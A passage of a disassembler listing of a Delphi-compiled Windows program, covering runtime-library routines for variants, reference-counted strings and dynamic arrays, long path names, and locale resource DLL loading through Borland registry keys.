		mov	word ptr [ebx],	8
		mov	[ebx+8], esi
		pop	esi
		pop	ebx
		retn
sub_404268	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_404288	proc near		; CODE XREF: sub_40437C+22p

var_14		= dword	ptr -14h
var_10		= word ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		mov	[ebp+var_14], eax
		mov	ax, [edx]
		mov	ebx, ecx
		cmp	bx, ax
		jnz	short loc_4042A9
		mov	eax, [ebp+var_14]
		call	sub_404074
		jmp	loc_404377
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4042A9:				; CODE XREF: sub_404288+12j
		cmp	ax, 100h
		jnz	short loc_404308
		cmp	bx, 8
		jnz	short loc_4042C2
		mov	eax, [ebp+var_14]
		call	sub_404268
		jmp	loc_404377
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4042C2:				; CODE XREF: sub_404288+2Bj
		mov	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		call	sub_404268
		xor	eax, eax
		push	ebp
		push	offset loc_404301
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		mov	ecx, ebx
		call	sub_404194
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404377

loc_4042F8:				; CODE XREF: sub_404288+7Ej
		lea	eax, [ebp+var_10]
		call	sub_404030
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404301:				; DATA XREF: sub_404288+4Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4042F8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404308:				; CODE XREF: sub_404288+25j
		cmp	bx, 100h
		jnz	short loc_40436D
		cmp	ax, 101h
		jz	short loc_40436D
		cmp	ax, 8
		jnz	short loc_404325
		mov	eax, [ebp+var_14]
		call	sub_404238
		jmp	short loc_404377
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404325:				; CODE XREF: sub_404288+91j
		mov	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		mov	cx, 8
		call	sub_404194
		xor	eax, eax
		push	ebp
		push	offset loc_404366
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		call	sub_404238
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404377

loc_40435D:				; CODE XREF: sub_404288+E3j
		lea	eax, [ebp+var_10]
		call	sub_404030
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404366:				; DATA XREF: sub_404288+B2o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40435D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40436D:				; CODE XREF: sub_404288+85j
					; sub_404288+8Bj
		mov	eax, [ebp+var_14]
		mov	ecx, ebx
		call	sub_404194

loc_404377:				; CODE XREF: sub_404288+1Cj
					; sub_404288+35j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404288	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40437C	proc near		; CODE XREF: sub_4076E0+Ap

var_14		= word ptr -14h
var_C		= dword	ptr -0Ch

		cmp	word ptr [edx],	100h
		jnz	short loc_40438B
		mov	edx, [edx+8]
		jmp	sub_40351C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40438B:				; CODE XREF: sub_40437C+5j
		push	ebx
		mov	ebx, eax
		sub	esp, 10h
		mov	[esp+14h+var_14], 0
		mov	eax, esp
		mov	ecx, 100h
		call	sub_404288
		mov	eax, ebx
		call	sub_4034C8
		mov	eax, [esp+14h+var_C]
		mov	[ebx], eax
		add	esp, 10h
		pop	ebx
		retn
sub_40437C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4043B8	proc near		; CODE XREF: sub_403BE8+86p
					; sub_404110+56p ...
		push	eax
		call	sub_404030
		pop	eax
		retn
sub_4043B8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4043C0	proc near		; CODE XREF: sub_404110+1Ep
		cmp	word ptr [eax],	8
		jb	short locret_4043E0
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		mov	word ptr [eax],	0
		mov	edx, esp
		call	sub_404074
		add	esp, 10h

locret_4043E0:				; CODE XREF: sub_4043C0+4j
		retn
sub_4043C0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4043E4	proc near		; CODE XREF: sub_4043ECp
		test	eax, eax
		jz	short locret_4043EB
		mov	eax, [eax-4]

locret_4043EB:				; CODE XREF: sub_4043E4+2j
		retn
sub_4043E4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4043EC	proc near		; CODE XREF: sub_40A564+11p
		call	sub_4043E4
		dec	eax
		retn
sub_4043EC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4043F4	proc near		; CODE XREF: sub_404414+104p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_403DF8
		pop	ebp
		retn	4
sub_4043F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404404	proc near		; CODE XREF: sub_404414+AEp
		jmp	sub_403BE8
sub_404404	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40440C	proc near		; CODE XREF: sub_404414+2Fp
		call	sub_4045AC
		retn
sub_40440C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_404414	proc near		; CODE XREF: sub_404414+171p
					; sub_4045A0+5p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+var_4]
		mov	ebx, [ebx]
		mov	eax, [ebp+arg_0]
		mov	edi, [eax]
		test	edi, edi
		jg	short loc_40444D
		test	edi, edi
		jge	short loc_40443E
		mov	al, 4
		call	sub_402618

loc_40443E:				; CODE XREF: sub_404414+21j
		mov	eax, [ebp+var_4]
		mov	edx, esi
		call	sub_40440C
		jmp	loc_404595
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40444D:				; CODE XREF: sub_404414+1Dj
		xor	eax, eax
		mov	[ebp+var_10], eax
		test	ebx, ebx
		jz	short loc_404461
		sub	ebx, 4
		mov	eax, [ebx]
		mov	[ebp+var_10], eax
		sub	ebx, 4

loc_404461:				; CODE XREF: sub_404414+40j
		xor	eax, eax
		mov	al, [esi+1]
		add	esi, eax
		mov	eax, [esi+2]
		mov	[ebp+var_18], eax
		mov	eax, [esi+6]
		test	eax, eax
		jz	short loc_404479
		mov	esi, [eax]
		jmp	short loc_40447B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404479:				; CODE XREF: sub_404414+5Fj
		xor	esi, esi

loc_40447B:				; CODE XREF: sub_404414+63j
		mov	eax, edi
		imul	[ebp+var_18]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cdq
		idiv	edi
		cmp	eax, [ebp+var_18]
		jz	short loc_404495
		mov	al, 4
		call	sub_402618

loc_404495:				; CODE XREF: sub_404414+78j
		add	[ebp+var_1C], 8
		test	ebx, ebx
		jz	short loc_4044A2
		cmp	dword ptr [ebx], 1
		jnz	short loc_4044D7

loc_4044A2:				; CODE XREF: sub_404414+87j
		mov	[ebp+var_20], ebx
		cmp	edi, [ebp+var_10]
		jge	short loc_4044C7
		test	esi, esi
		jz	short loc_4044C7
		mov	eax, ebx
		add	eax, 8
		mov	edx, edi
		imul	edx, [ebp+var_18]
		add	eax, edx
		mov	ecx, [ebp+var_10]
		sub	ecx, edi
		mov	edx, esi
		call	sub_404404

loc_4044C7:				; CODE XREF: sub_404414+94j
					; sub_404414+98j
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		call	sub_4025C8
		mov	ebx, [ebp+var_20]
		jmp	short loc_404535
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4044D7:				; CODE XREF: sub_404414+8Cj
		dec	dword ptr [ebx]
		mov	eax, [ebp+var_1C]
		call	sub_402598
		mov	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		cmp	edi, [ebp+var_14]
		jge	short loc_4044F1
		mov	[ebp+var_14], edi

loc_4044F1:				; CODE XREF: sub_404414+D8j
		test	esi, esi
		jz	short loc_40451F
		mov	edx, [ebp+var_14]
		imul	edx, [ebp+var_18]
		mov	eax, ebx
		add	eax, 8
		xor	ecx, ecx
		call	sub_4028D4
		mov	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	eax, ebx
		add	eax, 8
		mov	ecx, esi
		call	sub_4043F4
		jmp	short loc_404535
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40451F:				; CODE XREF: sub_404414+DFj
		mov	ecx, [ebp+var_14]
		imul	ecx, [ebp+var_18]
		mov	edx, ebx
		add	edx, 8
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_4026B0

loc_404535:				; CODE XREF: sub_404414+C1j
					; sub_404414+109j
		mov	dword ptr [ebx], 1
		add	ebx, 4
		mov	[ebx], edi
		add	ebx, 4
		mov	edx, edi
		sub	edx, [ebp+var_10]
		imul	edx, [ebp+var_18]
		mov	eax, [ebp+var_18]
		imul	eax, [ebp+var_10]
		add	eax, ebx
		xor	ecx, ecx
		call	sub_4028D4
		cmp	[ebp+var_8], 1
		jle	short loc_404590
		add	[ebp+arg_0], 4
		dec	[ebp+var_8]
		dec	edi
		test	edi, edi
		jl	short loc_404590
		inc	edi
		mov	[ebp+var_C], 0

loc_404576:				; CODE XREF: sub_404414+17Aj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_C]
		lea	eax, [ebx+eax*4]
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		call	sub_404414
		inc	[ebp+var_C]
		dec	edi
		jnz	short loc_404576

loc_404590:				; CODE XREF: sub_404414+14Cj
					; sub_404414+158j
		mov	eax, [ebp+var_4]
		mov	[eax], ebx

loc_404595:				; CODE XREF: sub_404414+34j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_404414	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4045A0	proc near		; CODE XREF: sub_40A4BC+44p
					; sub_417F24+77p ...
		push	esp
		add	dword ptr [esp+0], 4
		call	sub_404414
		retn
sub_4045A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4045AC	proc near		; CODE XREF: sub_403BE8+DAp
					; sub_40440Cp ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short locret_4045E5
		mov	dword ptr [eax], 0
		lock dec     dword ptr [ecx-8]
		jnz	short locret_4045E5
		push	eax
		mov	eax, ecx
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	edx, [edx+ecx+6]
		test	edx, edx
		jz	short loc_4045DC
		mov	ecx, [eax-4]
		test	ecx, ecx
		jz	short loc_4045DC
		mov	edx, [edx]
		call	sub_403BE8

loc_4045DC:				; CODE XREF: sub_4045AC+20j
					; sub_4045AC+27j
		sub	eax, 8
		call	sub_4025B0
		pop	eax

locret_4045E5:				; CODE XREF: sub_4045AC+4j
					; sub_4045AC+10j
		retn
sub_4045AC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4045E8	proc near		; CODE XREF: sub_403CDC+EFp
					; sub_403DF8+DDp
		push	ebx
		mov	ebx, [eax]
		test	edx, edx
		jz	short loc_4045F3
		lock inc     dword ptr [edx-8]

loc_4045F3:				; CODE XREF: sub_4045E8+5j
		test	ebx, ebx
		jz	short loc_40460B
		lock dec     dword ptr [ebx-8]
		jnz	short loc_40460B
		push	eax
		push	edx
		mov	edx, ecx
		inc	dword ptr [ebx-8]
		call	sub_4045AC
		pop	edx
		pop	eax

loc_40460B:				; CODE XREF: sub_4045E8+Dj
					; sub_4045E8+13j
		mov	[eax], edx
		pop	ebx
		retn
sub_4045E8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404610	proc near		; CODE XREF: sub_40330C+25p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch

		add	esp, 0FFFFFFE4h
		push	1Ch
		lea	edx, [esp+20h+var_1C]
		push	edx
		push	eax
		call	j_VirtualQuery
		cmp	[esp+1Ch+var_C], 1000h
		jnz	short loc_404630
		mov	eax, [esp+1Ch+var_18]
		jmp	short loc_404632
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404630:				; CODE XREF: sub_404610+18j
		xor	eax, eax

loc_404632:				; CODE XREF: sub_404610+1Ej
		add	esp, 1Ch
		retn
sub_404610	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404638	proc near		; CODE XREF: sub_404B80+2Bp
					; CODE:0040933Cp ...
		mov	edx, ds:dword_41C014
		test	edx, edx
		jz	short locret_40465B

loc_404642:				; CODE XREF: sub_404638+21j
		cmp	eax, [edx+4]
		jz	short loc_404651
		cmp	eax, [edx+8]
		jz	short loc_404651
		cmp	eax, [edx+0Ch]
		jnz	short loc_404655

loc_404651:				; CODE XREF: sub_404638+Dj
					; sub_404638+12j
		mov	eax, [edx+10h]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404655:				; CODE XREF: sub_404638+17j
		mov	edx, [edx]
		test	edx, edx
		jnz	short loc_404642

locret_40465B:				; CODE XREF: sub_404638+8j
		retn
sub_404638	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40465C	proc near		; CODE XREF: sub_404670+80p
					; sub_404670+93p ...
		jmp	short loc_404664
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40465E:				; CODE XREF: sub_40465C+11j
		push	eax
		call	j_CharNextA

loc_404664:				; CODE XREF: sub_40465Cj
		mov	dl, [eax]
		test	dl, dl
		jz	short locret_40466F
		cmp	dl, 5Ch
		jnz	short loc_40465E

locret_40466F:				; CODE XREF: sub_40465C+Cj
		retn
sub_40465C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_404670	proc near		; CODE XREF: sub_404818+88p

var_24F		= byte ptr -24Fh
var_14A		= byte ptr -14Ah
var_11E		= byte ptr -11Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDB0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		push	offset dword_4047F4
		call	j_GetModuleHandleA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4046D5
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		push	ebx
		call	j_GetProcAddress
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4046D5
		push	105h
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	[ebp+var_C]
		test	eax, eax
		jz	short loc_4046D5
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	j_lstrcpyA
		jmp	loc_4047EA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4046D5:				; CODE XREF: sub_404670+23j
					; sub_404670+37j ...
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_404715
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+1], 5Ch
		jnz	loc_4047EA
		mov	eax, [ebp+var_4]
		add	eax, 2
		call	sub_40465C
		mov	ebx, eax
		cmp	byte ptr [ebx],	0
		jz	loc_4047EA
		lea	eax, [ebx+1]
		call	sub_40465C
		mov	ebx, eax
		cmp	byte ptr [ebx],	0
		jz	loc_4047EA
		jmp	short loc_40471B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404715:				; CODE XREF: sub_404670+6Bj
		mov	ebx, [ebp+var_4]
		add	ebx, 2

loc_40471B:				; CODE XREF: sub_404670+A3j
		mov	esi, ebx
		sub	esi, [ebp+var_4]
		lea	eax, [esi+1]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		call	j_lstrcpynA
		jmp	loc_4047D1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404739:				; CODE XREF: sub_404670+164j
		lea	eax, [ebx+1]
		call	sub_40465C
		mov	edi, eax
		mov	eax, edi
		sub	eax, ebx
		mov	edx, eax
		add	edx, esi
		inc	edx
		cmp	edx, 105h
		jg	loc_4047EA
		inc	eax
		push	eax
		push	ebx
		lea	eax, [ebp+var_24F]
		add	eax, esi
		push	eax
		call	j_lstrcpynA
		lea	eax, [ebp+var_14A]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		call	j_FindFirstFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4047EA
		push	ebx
		call	j_FindClose
		lea	eax, [ebp+var_11E]
		push	eax
		call	j_lstrlenA
		lea	edx, [esi+1]
		add	eax, edx
		inc	eax
		cmp	eax, 105h
		jg	short loc_4047EA
		mov	[ebp+esi+var_24F], 5Ch
		lea	eax, [ebp+var_11E]
		push	eax
		lea	eax, [ebp+var_24F]
		add	eax, esi
		inc	eax
		push	eax
		call	j_lstrcpyA
		lea	eax, [ebp+var_11E]
		push	eax
		call	j_lstrlenA
		inc	eax
		add	esi, eax
		mov	ebx, edi

loc_4047D1:				; CODE XREF: sub_404670+C4j
		cmp	byte ptr [ebx],	0
		jnz	loc_404739
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	j_lstrcpyA

loc_4047EA:				; CODE XREF: sub_404670+60j
					; sub_404670+74j ...
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404670	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
dword_4047F4	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ;	DATA XREF: sub_404670+15o
aGetlongpathnam	db 'GetLongPathNameA',0 ; DATA XREF: sub_404670+25o
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_404818	proc near		; CODE XREF: sub_405A34+1Ep

var_11D		= byte ptr -11Dh
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_D		= byte ptr -0Dh
var_B		= byte ptr -0Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE0h
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	105h
		lea	eax, [ebp+var_11D]
		push	eax
		push	0
		call	j_GetModuleFileNameA
		mov	[ebp+var_12], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
		push	80000001h
		call	j_RegOpenKeyExA
		test	eax, eax
		jz	short loc_404879
		lea	eax, [ebp+var_8]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales"
		push	80000001h
		call	j_RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4048EB

loc_404879:				; CODE XREF: sub_404818+41j
		xor	eax, eax
		push	ebp
		push	offset loc_4048E4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_18], 5
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_11D]
		call	sub_404670
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	j_RegQueryValueExA
		test	eax, eax
		jz	short loc_4048CD
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		push	offset dword_404A10
		mov	eax, [ebp+var_8]
		push	eax
		call	j_RegQueryValueExA

loc_4048CD:				; CODE XREF: sub_404818+99j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4048EB

loc_4048DA:				; CODE XREF: sub_404818+D1j
		mov	eax, [ebp+var_8]
		push	eax
		call	j_RegCloseKey
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4048E4:				; DATA XREF: sub_404818+64o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4048DA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4048EB:				; CODE XREF: sub_404818+5Fj
					; DATA XREF: sub_404818+BDo
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_11D]
		push	eax
		call	j_lstrcpyA
		push	5
		lea	eax, [ebp+var_D]
		push	eax
		push	3
		call	j_GetThreadLocale
		push	eax
		call	j_GetLocaleInfoA
		xor	esi, esi
		cmp	[ebp+var_11D], 0
		jz	loc_4049CC
		cmp	[ebp+var_D], 0
		jnz	short loc_40492D
		cmp	[ebp+var_12], 0
		jz	loc_4049CC

loc_40492D:				; CODE XREF: sub_404818+109j
		lea	eax, [ebp+var_11D]
		push	eax
		call	j_lstrlenA
		mov	ebx, eax
		lea	eax, [ebp+var_11D]
		add	ebx, eax
		jmp	short loc_404946
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404945:				; CODE XREF: sub_404818+13Bj
		dec	ebx

loc_404946:				; CODE XREF: sub_404818+12Bj
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_404955
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jnz	short loc_404945

loc_404955:				; CODE XREF: sub_404818+131j
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jz	short loc_4049CC
		inc	ebx
		cmp	[ebp+var_12], 0
		jz	short loc_404982
		lea	eax, [ebp+var_12]
		push	eax
		push	ebx
		call	j_lstrcpyA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	j_LoadLibraryExA
		mov	esi, eax

loc_404982:				; CODE XREF: sub_404818+14Cj
		test	esi, esi
		jnz	short loc_4049CC
		cmp	[ebp+var_D], 0
		jz	short loc_4049CC
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	j_lstrcpyA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	j_LoadLibraryExA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4049CC
		mov	[ebp+var_B], 0
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	j_lstrcpyA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	j_LoadLibraryExA
		mov	esi, eax

loc_4049CC:				; CODE XREF: sub_404818+FFj
					; sub_404818+10Fj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404818	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
aSoftwareBorl_0	db 'Software\Borland\Locales',0 ; DATA XREF: sub_404818+30o
		align 4
aSoftwareBorl_1	db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_404818+4Eo
dword_404A10	dd 0, 0BE8h, 0C08BC300h	; DATA XREF: sub_404818+A7o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404A1C	proc near		; CODE XREF: sub_40E3D0+8Fp
		call	sub_404A44
		retn
sub_404A1C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebx
		mov	ebx, eax
		mov	eax, 8
		call	sub_402598
		mov	edx, ds:dword_41C018
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	ds:dword_41C018, eax
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_404A44	proc near		; CODE XREF: sub_404A1Cp
		push	ebx
		push	esi
		mov	esi, ds:dword_41C018
		test	esi, esi
		jz	short loc_404A72
		mov	edx, [esi+4]
		cmp	edx, eax
		jnz	short loc_404A72
		mov	eax, ds:dword_41C018
		mov	eax, [eax]
		mov	ds:dword_41C018, eax
		mov	edx, 8
		mov	eax, esi
		call	sub_4025B0
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404A72:				; CODE XREF: sub_404A44+Aj
					; sub_404A44+11j
		mov	edx, esi
		test	edx, edx
		jz	short loc_404A9F

loc_404A78:				; CODE XREF: sub_404A44+59j
		mov	ecx, [edx]
		test	ecx, ecx
		jz	short loc_404A99
		mov	ebx, [ecx+4]
		cmp	ebx, eax
		jnz	short loc_404A99
		mov	esi, ecx
		mov	eax, [ecx]
		mov	[edx], eax
		mov	edx, 8
		mov	eax, esi
		call	sub_4025B0
		jmp	short loc_404A9F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_404A99:				; CODE XREF: sub_404A44+38j
					; sub_404A44+3Fj
		mov	edx, [edx]
		test	edx, edx
		jnz	short loc_404A78

loc_404A9F:				; CODE XREF: sub_404A44+32j
					; sub_404A44+53j
		pop	esi
		pop	ebx
		retn
sub_404A44	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_404AA4	proc near		; CODE XREF: sub_404B10+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
